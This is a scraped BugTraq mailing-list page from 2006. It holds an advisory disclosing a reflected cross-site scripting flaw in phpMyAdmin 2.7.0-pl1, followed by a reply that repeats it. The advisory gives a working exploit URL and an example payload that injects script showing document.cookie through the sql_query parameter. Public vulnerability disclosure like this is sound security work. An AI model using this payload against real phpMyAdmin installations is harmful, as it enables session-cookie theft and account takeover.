BugTraq
Back to list
|
Post reply
phpMyAdmin 2.7.0-pl1
Apr 12 2006 06:50PM
kr4ch web de
(1 replies)
App: phpMyAdmin 2.7.0-pl1
Advistory by: p0w3r
Exploit: /phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_gen
eral_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_proper
ties_structure.php&sql_query=[XSS]
Example: /phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_gen
eral_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_proper
ties_structure.php&sql_query=SELECT+*+FROM+%60'%3Cscript%3Ealert(documen
t.cookie)%3C/script%3E'%60
[ reply ]
Re: phpMyAdmin 2.7.0-pl1
Apr 14 2006 12:17AM
Kevin Waterson (kevin oceania net)
Privacy Statement
Copyright 2010, SecurityFocus
Advistory by: p0w3r
Exploit: /phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_gen
eral_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_proper
ties_structure.php&sql_query=[XSS]
Example: /phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_gen
eral_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_proper
ties_structure.php&sql_query=SELECT+*+FROM+%60'%3Cscript%3Ealert(documen
t.cookie)%3C/script%3E'%60
[ reply ]